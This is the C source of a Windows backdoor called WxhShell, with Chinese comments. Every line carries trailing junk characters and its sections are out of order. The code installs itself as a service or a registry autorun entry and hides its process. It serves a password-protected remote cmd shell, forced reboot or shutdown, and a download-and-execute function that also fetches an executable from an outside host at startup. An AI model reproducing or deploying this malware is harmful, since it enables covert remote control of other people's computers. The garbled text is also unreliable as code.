    if(Boot(SHUTDOWN)) Z> QSZ48=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A40 -])'!  
    else { PG<N\  
    closesocket(wsh); ":]O3 D{r  
    ExitThread(0); rorzxp{  
    } HH^{,53%  
    break; _?kf9.  
    } Tj0eW(<!s  
  // 获取shell Zu%_kpW  
  case 's': { 2_r}4)z  
    CmdShell(wsh); _I{&5V~z  
    closesocket(wsh); b% $S6.  
    ExitThread(0); 4 CX*,7LZ  
    break; >z^T~@m7l  
  } 8H;TPa  
  // 退出 dUb(C1h  
  case 'x': { L8bq3Q'p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "%f>/k;!h.  
    CloseIt(wsh); OFRzzG@  
    break; k% In   
    } JB%6G|Z  
  // 离开 7{<F6F^P  
  case 'q': { mqsf#'ri  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Om}&`AP};  
    closesocket(wsh); 7Fy^K;V"  
    WSACleanup(); &~E=T3  
    exit(1); i;|% hDNWA  
    break; ACyQsmqm:  
        } r{%NMj  
  } iZSj T"l^  
  } 2vWkAC;   
JAB]kNvI  
  // 提示信息 }=f}@JlFB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <V6#)^Or  
} JH)&Ca>S  
  } r4D66tF  
_R5^4-Qe  
  return; ;F5B)&/B  
} >wMsZ+@m  
<5$= Ta  
// shell模块句柄 <NJ7mR}  
int CmdShell(SOCKET sock) L~mL9[(,  
{ u'32nf?  
STARTUPINFO si; VwC, +B  
ZeroMemory(&si,sizeof(si)); jC\R8_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^<% w'*gR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uxh4nyE  
PROCESS_INFORMATION ProcessInfo; k*M{?4  
char cmdline[]="cmd"; YRYrR|I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ok:@F/ v  
  return 0; Ix *KL=MG  
} 'HqAm$V+  
>_F& oA#  
// 自身启动模式 yY"%6k,ZB  
int StartFromService(void) t?0=;.D  
{ Nc"h8p?  
typedef struct uO^{+=;A =  
{ X&p-Ge1>z  
  DWORD ExitStatus; 3_ zI$Z  
  DWORD PebBaseAddress; %pwm34  
  DWORD AffinityMask; p19Zxh  
  DWORD BasePriority; uWfse19  
  ULONG UniqueProcessId; U| N`X54  
  ULONG InheritedFromUniqueProcessId; 6B+ @76wH  
}   PROCESS_BASIC_INFORMATION; -%t0'cKn,  
Y7{|EI+@  
PROCNTQSIP NtQueryInformationProcess; vfy- ;R(  
oO UVU}H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rg'? ?rq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pc(2'r@#  
a"&Z!A:Z=  
  HANDLE             hProcess; M?\)&2f[Z  
  PROCESS_BASIC_INFORMATION pbi; Yd<~]aXM   
eq@ v2o7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a"EQldm|d  
  if(NULL == hInst ) return 0; "QlCcH`g  
u!@P,,NY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D8dTw{C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C#r`oZS1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J]~fv9~P  
C$(t`G  
  if (!NtQueryInformationProcess) return 0; 6*LU+U=`  
qq?>ulu*W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Maxnk3n  
  if(!hProcess) return 0; 2 G"p:iPp  
+f7?L]wzic  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ivagS\Q  
zm~~mz A  
  CloseHandle(hProcess); C>MoR3]  
22*t%{(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8n73MF  
if(hProcess==NULL) return 0; #m M&CscE  
oVhw2pKpM  
HMODULE hMod; 4sJx_Qi  
char procName[255]; Y^!40XjrD  
unsigned long cbNeeded; 2fLd/x~  
Ke/P [fo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i5wA=K_  
tL).f:?  
  CloseHandle(hProcess); '|q :h  
Sm1bDa\!=  
if(strstr(procName,"services")) return 1; // 以服务启动 Dr2h-  
CTI(Kh+  
  return 0; // 注册表启动 K8+b\k4E  
} ^y3\e  
#k"[TCQ>  
// 主模块 ( ou:"Y  
int StartWxhshell(LPSTR lpCmdLine) sXydMk`J  
{ KXM-GIRUG  
  SOCKET wsl; .o-j  
BOOL val=TRUE; Lhc@*_2  
  int port=0; <.' cCY  
  struct sockaddr_in door; J`8>QMK^5  
s<dD>SU  
  if(wscfg.ws_autoins) Install(); RSi0IfG5  
y k5P/H)  
port=atoi(lpCmdLine); y,r`8  
,,Db:4qfjD  
if(port<=0) port=wscfg.ws_port; U'lD|R,g  
,yqzk.  
  WSADATA data; 0F3>kp4u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HcVPJuD  
I{AU,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i&3 0n#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1Efl|lV  
  door.sin_family = AF_INET; "p; DQ-V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .{;!bw  
  door.sin_port = htons(port); C[KU~@  
E*I]v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dSL %%  
closesocket(wsl); mQvKreo~  
return 1; .;F+ QP0  
} 0!VLPA:  
X or ,}. w  
  if(listen(wsl,2) == INVALID_SOCKET) { &B2c]GoW  
closesocket(wsl); w2,T.3DT  
return 1; =%u|8Ea*`  
} NY;UI (<]  
  Wxhshell(wsl); q7]WR(e  
  WSACleanup(); qB39\j  
LAKZAi%O0  
return 0; ~ghz%${`  
^VIUXa  
} G9a%N  
^(\Gonf<  
// 以NT服务方式启动 vX/A9Qi,U.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (p?3#|^  
{ z\h+6FCD  
DWORD   status = 0; #-Rz`Y<&  
  DWORD   specificError = 0xfffffff; aK&+p#4t  
vedMzef[@>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oU@ljSD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _%2Umy|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pzax~Vp  
  serviceStatus.dwWin32ExitCode     = 0; tZYI{ m{  
  serviceStatus.dwServiceSpecificExitCode = 0; nMa^Eq#  
  serviceStatus.dwCheckPoint       = 0; r:5Ve&~  
  serviceStatus.dwWaitHint       = 0; Vtg/,1KQ  
1b7xw#gLx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,SM- Z`'  
  if (hServiceStatusHandle==0) return; :I'Ezxv|  
/C:'qhY,  
status = GetLastError(); xI4I1"/  
  if (status!=NO_ERROR) u/[]g+  
{ *D{/p/|[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0xxzhlKNL  
    serviceStatus.dwCheckPoint       = 0; A]+h<Y~}  
    serviceStatus.dwWaitHint       = 0; ],YYFU}  
    serviceStatus.dwWin32ExitCode     = status; u#M)i30j  
    serviceStatus.dwServiceSpecificExitCode = specificError; $.N~AA~0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|)1T-%  
    return; huoKr  
  } &o/4hnHYt  
BXo|CITso  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w&"w"  
  serviceStatus.dwCheckPoint       = 0; =.X?LWKY  
  serviceStatus.dwWaitHint       = 0; f>5RAg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZQkw}3*n  
} z;C=d(|nN  
.lBY"W&{  
// 处理NT服务事件,比如:启动、停止 mVK9NK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v|I5Gz$qpa  
{ ~8m>DSs)D  
switch(fdwControl) 1D[P\r-  
{ xN m32~  
case SERVICE_CONTROL_STOP: _0*>I1F~  
  serviceStatus.dwWin32ExitCode = 0; B -~&6D,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -k <9v.:  
  serviceStatus.dwCheckPoint   = 0; !ix<|F5  
  serviceStatus.dwWaitHint     = 0; IOkC[([  
  { w;EXjl;X O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -p.*<y  
  } Jo3(bl %u  
  return; unnx#e]  
case SERVICE_CONTROL_PAUSE: V*zz- 2 _i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; klJ[ {p  
  break; F!&pENQ  
case SERVICE_CONTROL_CONTINUE: 2]3HX3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Ex.Yp8.  
  break; :dguQ|e  
case SERVICE_CONTROL_INTERROGATE: 3> #mO}\  
  break; 6eT'[Umx  
}; GWInN8.5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZGpTw[5ql  
} @pG lWw9*  
uT}TSwgp  
// 标准应用程序主函数 b3b~T]]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8q [c  
{ 2rCY&8  
}=hoATs  
// 获取操作系统版本 X^D9)kel  
OsIsNt=GetOsVer(); +%Y c4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mp,e9Nd;  
7_40_kwJi  
  // 从命令行安装 f4k5R  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;(Xe@OtW  
"'!%};  
  // 下载执行文件 Dw`m>'J0  
if(wscfg.ws_downexe) { e$EF% cKH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @y(Wy}  
  WinExec(wscfg.ws_filenam,SW_HIDE); v"r9|m~'  
} 0R}Sw[M.  
>_`D3@Rz  
if(!OsIsNt) { Ww96|m  
// 如果时win9x,隐藏进程并且设置为注册表启动 nheU~jb  
HideProc(); M> jBm .  
StartWxhshell(lpCmdLine); ls24ccOs  
} l^!A  
else -#wVtXaSc  
  if(StartFromService()) ZjZhz`  
  // 以服务方式启动 H_?B{We  
  StartServiceCtrlDispatcher(DispatchTable); "Ug/ ',jkV  
else 6%kJDY.  
  // 普通方式启动 bqrJP3  
  StartWxhshell(lpCmdLine); DMQNr(w{!2  
(~Uel1~@  
return 0; }@14E-N=  
} ;}WtJ&y=M  
P-+M,>vNy[  
ZSXRzH~0  
WY"Y)S  
=========================================== X&(ERY,h  
#$=8g RZj  
xIQ/$[&v  
[vWkAJ'K  
nU&NopD+*G  
V3mjb H>F  
" *IWFeu7y  
sLG>>d3R1  
#include <stdio.h> 'B3Wza.  
#include <string.h> y~ _za(k  
#include <windows.h> q#99iiG1  
#include <winsock2.h> Or+*q91j  
#include <winsvc.h> =_RcoG/^~  
#include <urlmon.h> N^\2 _T  
@VC .>  
#pragma comment (lib, "Ws2_32.lib") LZr0]g{Pu/  
#pragma comment (lib, "urlmon.lib") 0+}EA[  
KQ4kZN  
#define MAX_USER   100 // 最大客户端连接数 f v E+.{  
#define BUF_SOCK   200 // sock buffer heL$2dZ5H  
#define KEY_BUFF   255 // 输入 buffer Tr8AG>  
2(m85/Hr\;  
#define REBOOT     0   // 重启 R CBf;$O  
#define SHUTDOWN   1   // 关机 : 8^M5}  
_8Nw D_"  
#define DEF_PORT   5000 // 监听端口 1Xy8|OFc[  
M3Khc#5S(  
#define REG_LEN     16   // 注册表键长度 P +dA~2k  
#define SVC_LEN     80   // NT服务名长度 Y=vVxVI\  
B;Xoa,  
// 从dll定义API I tI0x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +@emX$cFV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ME$2P!o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A*8m8Sh$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YDQ:eebg(  
gA~20LSt  
// wxhshell配置信息 K(nS$x1G  
struct WSCFG { C4QeDvpI  
  int ws_port;         // 监听端口 O^9CV*]!n  
  char ws_passstr[REG_LEN]; // 口令 zL:&Q<  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZV'$k\  
  char ws_regname[REG_LEN]; // 注册表键名 JEWL)  
  char ws_svcname[REG_LEN]; // 服务名 d/D,P=j"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  0]AN;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )0#j\ B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D##+)`dK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2+?T66 g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }p~OCW!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6'xomRpYN  
B7!<{i  
}; X'fuF2owd  
-S"5{N73  
// default Wxhshell configuration X E|B)Q(  
struct WSCFG wscfg={DEF_PORT, Zg V~W#t  
    "xuhuanlingzhe", &v^!y=Bt  
    1, U|gpCy  
    "Wxhshell", {<qF}i:V  
    "Wxhshell", .L9']zXc`  
            "WxhShell Service", I2f?xJ2/Z  
    "Wrsky Windows CmdShell Service", ~xGoJrF\  
    "Please Input Your Password: ", 1T ( u  
  1, 9-0<*)"b>  
  "http://www.wrsky.com/wxhshell.exe", ]@v}y&  
  "Wxhshell.exe" :e*DTVv8  
    }; 8b|OXWl  
u!Xb?:3uj  
// 消息定义模块 & _; y.!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2w+U$6e C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lnS(&`oh\=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L7'%;?Z  
char *msg_ws_ext="\n\rExit."; UMV)wy|j  
char *msg_ws_end="\n\rQuit."; wV(AT$  
char *msg_ws_boot="\n\rReboot..."; _7U]&Nh99  
char *msg_ws_poff="\n\rShutdown..."; X1+ wX`f  
char *msg_ws_down="\n\rSave to "; J/2j;,8D  
:Sr?6FPc  
char *msg_ws_err="\n\rErr!"; ~+yZfOcw  
char *msg_ws_ok="\n\rOK!"; 1y J5l,q  
(Uk>?XAr  
char ExeFile[MAX_PATH]; xc9YM0B&  
int nUser = 0; @@I7$*  
HANDLE handles[MAX_USER]; s~*}0-lS  
int OsIsNt; 7kKuZW@K-  
0ZMJ(C  
SERVICE_STATUS       serviceStatus; M=OCz gj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v??TJ^1  
,LD m8   
// 函数声明 xH-X|N  
int Install(void); f-Jbs`(+  
int Uninstall(void); )qL&%xz  
int DownloadFile(char *sURL, SOCKET wsh);  qve ./  
int Boot(int flag); H`~;|6}]n  
void HideProc(void); x2co>.i  
int GetOsVer(void); 7BR8/4gcPu  
int Wxhshell(SOCKET wsl); H~noJIw#  
void TalkWithClient(void *cs); OS-sk!  
int CmdShell(SOCKET sock); ^W~p..DF  
int StartFromService(void); &(EHq  
int StartWxhshell(LPSTR lpCmdLine); -KH)J  
T*?s@$)m4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V A<5uk04K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FmEc`N9\v  
} bH$O%  
// 数据结构和表定义 Q8T`wd$D#  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 iRA$C-p  
{ "13 "`!m  
{wscfg.ws_svcname, NTServiceMain}, k|xtrW`qo;  
{NULL, NULL} O. ,3|  
}; *wuqa) q2  
!*aPEf270  
// 自我安装 u:&o}[  
int Install(void) ~e `Bq>  
{ Kz jC/1sd  
  char svExeFile[MAX_PATH]; c~0{s>  
  HKEY key; oc7$H>ET1  
  strcpy(svExeFile,ExeFile); CS 8jA\  
TX}T|ri  
// 如果是win9x系统,修改注册表设为自启动 \\06T `  
if(!OsIsNt) { \P;rES'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o!OMm!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f$.?$  
  RegCloseKey(key); FS6<V0pil  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +uo{ m~_4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UH? p]4Nz  
  RegCloseKey(key); 'OkGReKt  
  return 0; xe4Oxo  
    } DZ$` 4;C[  
  } W#'c 5:m 4  
} VA] e  
else { 1TS0X:TCn  
,E;;wdIt  
// 如果是NT以上系统,安装为系统服务 )?=YT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BHA923p?  
if (schSCManager!=0) ]5 Qy  
{ ,1oQ cC  
  SC_HANDLE schService = CreateService slu(SmQ  
  ( 0* ;O?T  
  schSCManager, \3Pv# )  
  wscfg.ws_svcname, ~j>D=!  
  wscfg.ws_svcdisp, 0v)bA}k  
  SERVICE_ALL_ACCESS, %zBCq"y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  Es5f*P0  
  SERVICE_AUTO_START, m/B6[  
  SERVICE_ERROR_NORMAL, D}3T|N  
  svExeFile, UlcH%pxTt1  
  NULL, GsQ*4=C  
  NULL, ,](:<A)W&  
  NULL, _;1}x%4v  
  NULL, >j*;vG5T  
  NULL WIr2{+#  
  ); 'G&{GVbXY  
  if (schService!=0) r%@Lej5+  
  { P>i%7:OMZA  
  CloseServiceHandle(schService); P 1XK*GZ  
  CloseServiceHandle(schSCManager); m<rhIq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NGC,lv  
  strcat(svExeFile,wscfg.ws_svcname); '3 33Ctxy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1x)ZB~L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %" D%:   
  RegCloseKey(key); gF?[rqz{  
  return 0; N8toxRu  
    } KLoE&ds  
  } JyLa#\ R  
  CloseServiceHandle(schSCManager); O.G'?m<: #  
} O.`Jl%  
} #[{3} %b  
=U8Ek;Drp  
return 1; );V2?G`/  
} S! Rc|6y%  
uhyj5u)  
// 自我卸载 VhL{'w7f  
int Uninstall(void) A4C+5R  
{ t.T UmJ  
  HKEY key; #LlUxHv #  
3_Cp%~Gi-_  
if(!OsIsNt) { !Ucjax~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b[9&l|y^  
  RegDeleteValue(key,wscfg.ws_regname); /X"/ha!=&D  
  RegCloseKey(key); ]\-^>!F#K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^I8Esl8  
  RegDeleteValue(key,wscfg.ws_regname); ncu`vYI.  
  RegCloseKey(key); N;Dp~(1 J1  
  return 0; Jn:ZYqc  
  } dZ#&YG)?e  
} {7u[1[L1  
} j#r6b]k(Hv  
else { YHNR 3  
`?T#Hl>j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d) f@ 5/<  
if (schSCManager!=0) Y3.$G1{#0w  
{ X cr  =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <8,o50`B  
  if (schService!=0) ~h}Fi  
  { I V%zO+  
  if(DeleteService(schService)!=0) { \B F*m"lz  
  CloseServiceHandle(schService); [B@'kwD\l  
  CloseServiceHandle(schSCManager); !+>v[(OzM  
  return 0; :NJ_n6E  
  } =_$Qtq+h  
  CloseServiceHandle(schService); 2M#M"LHo  
  } Q!- 0xlx  
  CloseServiceHandle(schSCManager); P-F)%T[  
} W} WI; cI  
} A.<H>=Z# O  
H]Hv;fcC  
return 1; fjvN$NgVs  
} \(226^|j  
8fA_p}wp  
// 从指定url下载文件 mxor1P#|  
int DownloadFile(char *sURL, SOCKET wsh) x{D yTtX<  
{ QaUm1 i#  
  HRESULT hr; +uay(3m((  
char seps[]= "/"; bvfk  
char *token; w=b)({`M  
char *file; XE^)VLH:  
char myURL[MAX_PATH];  _zlqtO  
char myFILE[MAX_PATH]; zvABU+{jD  
BA\/YW @  
strcpy(myURL,sURL); u]}s)SmDk  
  token=strtok(myURL,seps); l/;X?g5+  
  while(token!=NULL) B8E'ddUw  
  { 4iSa7YqhBT  
    file=token; n]8<DX99Q0  
  token=strtok(NULL,seps); %X#zj"  
  } ~l;[@jsw F  
f{SB1M   
GetCurrentDirectory(MAX_PATH,myFILE); )`^p%k  
strcat(myFILE, "\\"); 6'\6OsH  
strcat(myFILE, file); %%(R@kh9  
  send(wsh,myFILE,strlen(myFILE),0); ^N8)]F,  
send(wsh,"...",3,0); &zs'/xv]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DNGvpKY@  
  if(hr==S_OK) +`3!I  
return 0; Kw#so; e  
else P[s8JDqu  
return 1; +P.+_7+:  
^C2\`jLMY  
} U,nEbKJgk  
 KWLbD#  
// 系统电源模块 WJI[9@^I~  
int Boot(int flag) (sVi\R  
{ l5L.5 $N  
  HANDLE hToken; Bl=tYp|a  
  TOKEN_PRIVILEGES tkp; 9UvXC)R1  
eQQ>  
  if(OsIsNt) { ^CwR!I.D}4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wAnb Di{W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !w&kyW?e  
    tkp.PrivilegeCount = 1; zYl#4O`=c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C8F7bG8c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sz9L8f2  
if(flag==REBOOT) { CI3XzH\IX*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J\ e+}{  
  return 0; qzb<J=FAU  
} &89 oO@5  
else { /x3/Ubmz~x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i<pk6rO1  
  return 0; 5dZ|!  
} 1sYEZO;  
  } odIZo|dv  
  else { 42]pYm(jk3  
if(flag==REBOOT) { ;WldHaZ9r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^MBm==heL  
  return 0; =4h+ M$2  
}  ~c6}  
else { Ivb 4P`{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SNY~9:;]f  
  return 0; #s!'+|2n  
} TX#m&vh  
} z({hiVs  
_{M\Bs2<  
return 1; CKA;.sh  
} Rp$}YN  
(Vo>e =q  
// win9x进程隐藏模块 EUIIr4]  
void HideProc(void) "s\L~R.&  
{ [Y`,qB<B  
9{:O{nl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6Zn @2PGEl  
  if ( hKernel != NULL ) k__$ Q9qj(  
  { /T. KbLx~q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VN%INUi@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .L~Nq%g1  
    FreeLibrary(hKernel); j2 !3rI  
  } cV`E>w=D0  
RQMEBsI}  
return; JMTvSXr  
} n8. kE)?  
SXt{k<|  
// 获取操作系统版本 Bn!$UUC  
int GetOsVer(void) >2By +/!X  
{ _v* nlc  
  OSVERSIONINFO winfo; j) ,,"54*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8/K!SpM*d  
  GetVersionEx(&winfo); *28pRvY:b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `_&Vt=7lG  
  return 1; $Y 7c  
  else {W##^L~  
  return 0; X6^},C'E.:  
} `%j~|i)4  
S(7ro]U9  
// 客户端句柄模块 . BiCBp<  
int Wxhshell(SOCKET wsl) Q);n<Z:X~  
{ GIAc?;zY  
  SOCKET wsh; ncx(pp  
  struct sockaddr_in client; O iFS}p  
  DWORD myID; =~+DUMBT  
A=kH%0s2p@  
  while(nUser<MAX_USER) ?-Vjha@BO  
{ 9aJ%`i  
  int nSize=sizeof(client); 8iekEG$H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VM0j`bs'K*  
  if(wsh==INVALID_SOCKET) return 1; gkHNRAL  
cCR+D.F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mXXt'_"  
if(handles[nUser]==0) n#=o?!_4  
  closesocket(wsh); mq%<6/Y U  
else U"50_O  
  nUser++; T,$WlK Wj  
  } c*R/]Dn   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^gFqRbuS  
tlA"B{7  
  return 0; gR@C0  
} 'ky b\q  
~.!c~fke  
// 关闭 socket KWWa&[ev)  
void CloseIt(SOCKET wsh) ox ;  
{ 3 zn W=  
closesocket(wsh); E#F/88(  
nUser--; )Jv[xY~  
ExitThread(0); kkK kf'  
} t>H`X~SR?  
K).n.:vYZ  
// 客户端请求句柄 mRZ :ie  
void TalkWithClient(void *cs) ]f1{n  
{ YX*Qd$chZ  
OaL\w D^  
  SOCKET wsh=(SOCKET)cs; R-P-i0 ~  
  char pwd[SVC_LEN]; K+6e?5t  
  char cmd[KEY_BUFF]; qL94SW;  
char chr[1]; )TmHhNo  
int i,j; ^OErq&`u  
CXCpqcC  
  while (nUser < MAX_USER) { Dnc<sd;  
xGI, Lk+  
if(wscfg.ws_passstr) { C R|lt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,$eK-w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <`0h|m'U  
  //ZeroMemory(pwd,KEY_BUFF); i9=&;_z  
      i=0; $O^v]>h  
  while(i<SVC_LEN) { ./$cMaDJ  
fJWC)E  
  // 设置超时 F9*g=  
  fd_set FdRead; *x) 8fAr  
  struct timeval TimeOut; TW^/sx  
  FD_ZERO(&FdRead); Lq>&d,F06)  
  FD_SET(wsh,&FdRead); z.rh]Zq  
  TimeOut.tv_sec=8; rL5z]RY  
  TimeOut.tv_usec=0; 1 tR_8lC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C^ )*Dsp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (os$B  
zuJtpMn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YA&g$!  
  pwd=chr[0]; > 0<)=  
  if(chr[0]==0xd || chr[0]==0xa) { CZbYAxNl  
  pwd=0; :EHJ\+kejX  
  break; z(\4 M==2O  
  } 7w1wr)qSB  
  i++; DvM5 k  
    } (mlzg=szW  
KeNL0_ Pw  
  // 如果是非法用户,关闭 socket oc^Br~ Th  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dk5Zh+^  
} %e@HZ"V  
|!F5.%PY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [NFNzwUB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &)oOeRwi].  
&ZTr  
while(1) { A 8 vbQ  
6&bIXy  
  ZeroMemory(cmd,KEY_BUFF); 1xc~`~  
yObuWDA9  
      // 自动支持客户端 telnet标准   al`3Lu0  
  j=0; kapC%/6"  
  while(j<KEY_BUFF) { :eZh'-c?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `CeJWL5{  
  cmd[j]=chr[0]; *:O.97q@h  
  if(chr[0]==0xa || chr[0]==0xd) { o!~Jzd.=h  
  cmd[j]=0; 1@gguRF:  
  break; 4H+Ked&Oq  
  } s{w[b\rA  
  j++; !p1qJ [  
    } uw},`4`  
FEo269Ur  
  // 下载文件 ,hVvve,j}  
  if(strstr(cmd,"http://")) { qp}Ma8+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !pJeA)W;  
  if(DownloadFile(cmd,wsh)) * 9p |HX=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<* -j4v  
  else 9 fMau  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2!Bd2  
  } s :`8ZBz~  
  else { (5Sivw*mP  
[TCP-bU  
    switch(cmd[0]) { Od?qz1  
